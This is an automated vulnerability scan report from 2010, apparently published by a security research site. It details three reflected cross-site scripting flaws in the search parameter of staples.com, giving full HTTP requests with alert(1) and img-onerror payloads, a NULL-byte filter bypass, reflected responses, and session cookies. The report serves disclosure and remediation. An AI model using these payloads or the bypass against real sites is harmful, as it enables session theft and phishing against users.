Report generated by XSS.CX at Tue Nov 16 12:16:05 CST 2010.


Cross Site Scripting Reports | Hoyt LLC Research

Loading

1. Cross-site scripting (reflected)

1.1. http://www.staples.com/office/supplies/StaplesSearch [searchkey parameter]

1.2. http://www.staples.com/office/supplies/StaplesSearch [searchkey parameter]

1.3. http://www.staples.com/office/supplies/StaplesSearch [searchkey parameter]



1. Cross-site scripting (reflected)
There are 3 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.staples.com/office/supplies/StaplesSearch [searchkey parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.staples.com
Path:   /office/supplies/StaplesSearch

Issue detail

The value of the searchkey request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9f0a3"%3balert(1)//18c03b54fa0 was submitted in the searchkey parameter. This input was echoed as 9f0a3";alert(1)//18c03b54fa0 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /office/supplies/StaplesSearch?searchkey=%22%229f0a3"%3balert(1)//18c03b54fa0&storeId=10001&catalogId=10051&langId=-1&fromUrl=home HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.staples.com/office/supplies/StaplesSearch?searchkey=%7C%7C&storeId=10001&catalogId=10051&langId=-1&fromUrl=home
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.staples.com
Proxy-Connection: Keep-Alive
Cookie: SSID=iReJVT05Hm3T0em4YF0F; SSSC=176.110896555.132346291.-500.0; sslb=B; stop_mobi=yes; RES_TRACKINGID=912165104091579; RES_SESSIONID=568736580706577; ResonanceSegment=1; mbox=check#true#1289931048|session#1289930979226-714753#1289932848|PC#1289930979226-714753.20#1291140588; X21P=3UZzsBIyF7HoiihIVYUBP8ccKW6YOLlxLUTIokOjlEFvW8MeQuIabaQ; s_sess=%20s_cc%3Dtrue%3B%20ev1%3Dnull%253A%257C%257C%3B%20s_sq%3D%3B%20s_sv_sid%3D910532100733%3B; s_pers=%20gpv_pn%3DSearch%2520Results%253ANo%2520Search%2520Results%7C1289932792814%3B; JSESSIONID=0000dpC28RzDwza-Lto29WhpEU3:15f65qesp; HasSession=true; WC_ACTIVESTOREDATA=%2d1%2c10001; zipcode=75201; CoreAt=90028341=1|2|1|0|0|0|0|0|0|0|0|0|1|1289930984|2_4_|&; WC_USERSESSION_565679582=565679582%2c%2d1%2cUSD%2c%2d2000%2cnull%2cnull%2cnull%2c1289932223896%2cnull%2cnull%2cnull%2cnull%2c%5b10001%7c10001%7c10001%7cnull%7c%2d2000%5d%2cEH6lGOxzAh02Tx4YZAVx7pvy3WQ%3d; StaplesCart=

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
RTSS: 1
Date: Tue, 16 Nov 2010 18:13:33 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: sslb=B; path=/; domain=.staples.com
Set-Cookie: WC_USERSESSION_565679582=565679582%2c%2d1%2cUSD%2c%2d2000%2cnull%2cnull%2cnull%2c1289932412127%2cnull%2cnull%2cnull%2cnull%2c%5b10001%7c10001%7c10001%7cnull%7c%2d2000%5d%2c6JbSTzAw%2fYomxbu%2fuaGEJ%2fUkSBg%3d;Path=/
ZipCodeDebug: Cookie=present_value=present
ZipCodeCookie: 75201
Cache-Control: private, no-store, no-cache, max-age=0, must-revalidate, proxy-revalidate
Expires: Wed, 16 Dec 2009 18:36:02 GMT
Pragma: no-cache
Content-Length: 213355


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<script type="text/javascript">cmCreatePageviewTag("SEARCH RESULTS:1","""9f0a3";alert(1)//18c03b54fa0","SEARCH","145");</script>
...[SNIP]...

1.2. http://www.staples.com/office/supplies/StaplesSearch [searchkey parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.staples.com
Path:   /office/supplies/StaplesSearch

Issue detail

The value of the searchkey request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %00b443f"><img%20src%3da%20onerror%3dalert(1)>39abb0b2870 was submitted in the searchkey parameter. This input was echoed as b443f"><img src=a onerror=alert(1)>39abb0b2870 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /office/supplies/StaplesSearch?searchkey=%7C%7C%00b443f"><img%20src%3da%20onerror%3dalert(1)>39abb0b2870&storeId=10001&catalogId=10051&langId=-1&fromUrl=home HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.staples.com/Ink-Toner-Finder/cat_SC43
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.staples.com
Proxy-Connection: Keep-Alive
Cookie: SSID=iReJVT05Hm3T0em4YF0F; SSSC=176.110896555.132346291.-500.0; sslb=B; stop_mobi=yes; RES_TRACKINGID=912165104091579; RES_SESSIONID=568736580706577; ResonanceSegment=1; mbox=check#true#1289931044|session#1289930979226-714753#1289932844|PC#1289930979226-714753.20#1291140584; X21P=3UZzsBIyF7HoiihIVYUBP8ccKW6YOLlxLUTIokOjlEFvW8MeQuIabaQ; s_sess=%20s_sq%3Dstaplescomprod%253D%252526pid%25253Dhttp%2525253A//www.staples.com/%252526oid%25253Dhttp%2525253A//www.staples.com/Ink-Toner-Finder/cat_SC43%252526ot%25253DA%252526oi%25253D205%3B%20s_cc%3Dtrue%3B; s_pers=%20gpv_pn%3Dno%2520value%7C1289932785107%3B; JSESSIONID=0000dpC28RzDwza-Lto29WhpEU3:15f65qesp; HasSession=true; WC_ACTIVESTOREDATA=%2d1%2c10001; WC_USERSESSION_-1002=%2d1002%2c%2d1%2cUSD%2c%2d2000%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c%5b10001%7c10001%7c10001%7cnull%7c%2d2000%5d%2ccC2XuIzSGpiJKLPMFjekBjaqUp8%3d; zipcode=75201; CoreAt=90028341=1|1|0|0|0|0|0|0|0|0|0|0|1|1289930984|2_4_|&

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
RTSS: 1
Date: Tue, 16 Nov 2010 18:13:30 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: sslb=B; path=/; domain=.staples.com
Set-Cookie: WC_USERSESSION_-1002=DEL;Expires=Thu, 01-Jan-1970 00:00:10 GMT;Path=/
Set-Cookie: WC_USERSESSION_565679679=565679679%2c%2d1%2cUSD%2c%2d2000%2cnull%2cnull%2cnull%2c1289932410650%2cnull%2cnull%2cnull%2cnull%2c%5b10001%7c10001%7c10001%7cnull%7c%2d2000%5d%2cbkxD%2fyu3rUDe2tEpchsDhTXxXBM%3d;Path=/
ZipCodeDebug: Cookie=present_value=present
ZipCodeCookie: 75201
Cache-Control: private, no-store, no-cache, max-age=0, must-revalidate, proxy-revalidate
Expires: Wed, 16 Dec 2009 18:36:02 GMT
Pragma: no-cache
Content-Length: 38386


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" x
...[SNIP]...
<input type="text" id="searchbox2" name="searchkey" class="text4" value="||b443f"><img src=a onerror=alert(1)>39abb0b2870" onfocus="select()" onchange="this.value=this.value.replace(/^\s+|\s+$/g, '').toLowerCase();" />
...[SNIP]...

1.3. http://www.staples.com/office/supplies/StaplesSearch [searchkey parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.staples.com
Path:   /office/supplies/StaplesSearch

Issue detail

The value of the searchkey request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6ebe2'%3balert(1)//d9af71b5032 was submitted in the searchkey parameter. This input was echoed as 6ebe2';alert(1)//d9af71b5032 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /office/supplies/StaplesSearch?searchkey=%22%226ebe2'%3balert(1)//d9af71b5032&storeId=10001&catalogId=10051&langId=-1&fromUrl=home HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.staples.com/office/supplies/StaplesSearch?searchkey=%7C%7C&storeId=10001&catalogId=10051&langId=-1&fromUrl=home
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.staples.com
Proxy-Connection: Keep-Alive
Cookie: SSID=iReJVT05Hm3T0em4YF0F; SSSC=176.110896555.132346291.-500.0; sslb=B; stop_mobi=yes; RES_TRACKINGID=912165104091579; RES_SESSIONID=568736580706577; ResonanceSegment=1; mbox=check#true#1289931048|session#1289930979226-714753#1289932848|PC#1289930979226-714753.20#1291140588; X21P=3UZzsBIyF7HoiihIVYUBP8ccKW6YOLlxLUTIokOjlEFvW8MeQuIabaQ; s_sess=%20s_cc%3Dtrue%3B%20ev1%3Dnull%253A%257C%257C%3B%20s_sq%3D%3B%20s_sv_sid%3D910532100733%3B; s_pers=%20gpv_pn%3DSearch%2520Results%253ANo%2520Search%2520Results%7C1289932792814%3B; JSESSIONID=0000dpC28RzDwza-Lto29WhpEU3:15f65qesp; HasSession=true; WC_ACTIVESTOREDATA=%2d1%2c10001; zipcode=75201; CoreAt=90028341=1|2|1|0|0|0|0|0|0|0|0|0|1|1289930984|2_4_|&; WC_USERSESSION_565679582=565679582%2c%2d1%2cUSD%2c%2d2000%2cnull%2cnull%2cnull%2c1289932223896%2cnull%2cnull%2cnull%2cnull%2c%5b10001%7c10001%7c10001%7cnull%7c%2d2000%5d%2cEH6lGOxzAh02Tx4YZAVx7pvy3WQ%3d; StaplesCart=

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
RTSS: 1
Date: Tue, 16 Nov 2010 18:13:41 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: sslb=B; path=/; domain=.staples.com
Set-Cookie: WC_USERSESSION_565679582=565679582%2c%2d1%2cUSD%2c%2d2000%2cnull%2cnull%2cnull%2c1289932419695%2cnull%2cnull%2cnull%2cnull%2c%5b10001%7c10001%7c10001%7cnull%7c%2d2000%5d%2co%2bWpgPNKyeAbcoFEdjPIVuIm14I%3d;Path=/
ZipCodeDebug: Cookie=present_value=present
ZipCodeCookie: 75201
Cache-Control: private, no-store, no-cache, max-age=0, must-revalidate, proxy-revalidate
Expires: Wed, 16 Dec 2009 18:36:02 GMT
Pragma: no-cache
Content-Length: 198992


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<script type="text/javascript">
           loadPersonalized('/office/supplies/carouselpersonalization?storeId=10001&langId=-1&catalogId=10051&scheme=search_rr&search=""6ebe2';alert(1)//d9af71b5032&skuCount=5&pageId=' + resxPageId + '&pageType=' + parsedResxPageTitle);
       </script>
...[SNIP]...

Report generated by XSS.CX at Tue Nov 16 12:16:05 CST 2010.